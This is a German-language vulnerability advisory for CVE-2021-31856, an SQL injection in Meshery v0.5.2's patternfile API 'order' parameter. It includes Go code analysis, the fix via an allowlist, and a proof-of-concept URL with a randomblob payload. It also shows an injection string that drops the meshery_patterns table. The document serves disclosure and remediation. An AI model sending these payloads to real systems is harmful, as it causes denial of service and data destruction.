
# Detaillierter CVE-2021-31856-Bericht mit PoC und Code-Analyse für eine SQL-Injection-Schwachstelle in Mesherys Pattern-File-API, die eine nicht authentifizierte Datenextraktion ermöglicht.
| Element | Details | Hinweis |
|---|---|---|
| Projekt | https://github.com/layer5io/meshery | |
| Ankündigungsdatum | 2021-04-28 | |
| CVE-ID | CVE-2021-31856 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856 |
| EDB-ID | \ | |
| Verwundbare Version | v0.5.2 | \ |
| Behobene Version | v0.5.3 | https://github.com/layer5io/meshery/pull/2745 |
| CVSS | 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | |
| Autor | https://github.com/ssst0n3 |
Die Funktion GetMesheryPatterns() in meshery/models/meshery_pattern_persister.go weist eine SQL-Injection-Schwachstelle über den Parameter order in /api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0 auf.
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0
Ihr Browser unterstützt kein HTML5-Video. Hier ist stattdessen ein Link zum Video.
Der Parameter order in der Funktion GetMesheryPatterns ist eine Instanz von string. Er wird bei Verwendung von gorm direkt an die Abfrageanweisung angehängt, und die SQL-Abfrageanweisung wird von Find() ausgeführt.
https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
Wenn der Parameter order ohne jegliche Filterung aus der Benutzereingabe stammt, besteht eine SQL-Injection-Schwachstelle.
Wenn wir den Aufrufprozess nachverfolgen, können wir feststellen, dass der Parameter "order" direkt aus der Query stammt.
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L140
func (h *Handler) GetMesheryPatternsHandler(
rw http.ResponseWriter,
r *http.Request,
prefObj *models.Preference,
user *models.User,
provider models.Provider,
) {
q := r.URL.Query()
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
if err != nil {
http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
return
}
rw.Header().Set("Content-Type", "application/json")
fmt.Fprint(rw, string(resp))
}
Wenn wir debuggen, können wir feststellen, dass die Abfrageanweisung lautet:
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>
Wenn wir order=id;drop table meshery_patterns setzen, wird die Anweisung zu:
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns
und die Tabelle wird gelöscht.
Die vollständige Aufrufkette lautet:
https://github.com/layer5io/meshery/blob/v0.5.2/router/server.go#L127
gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
Methods("POST", "GET")
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L93
func (h *Handler) PatternFileRequestHandler(
...
h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L149
func (h *Handler) GetMesheryPatternsHandler(
...
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..
https://github.com/layer5io/meshery/blob/v0.5.2/models/default_local_provider.go#L439
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}
https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35-L44
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
Legen Sie eine Allowlist für den Parameter order fest, anstatt Parameter aus der Benutzereingabe ohne jegliche Filterung zu verwenden.
https://github.com/layer5io/meshery/pull/2745
Sie können einige Referenzen aus der gorm-Dokumentation entnehmen: https://gorm.io/docs/security.html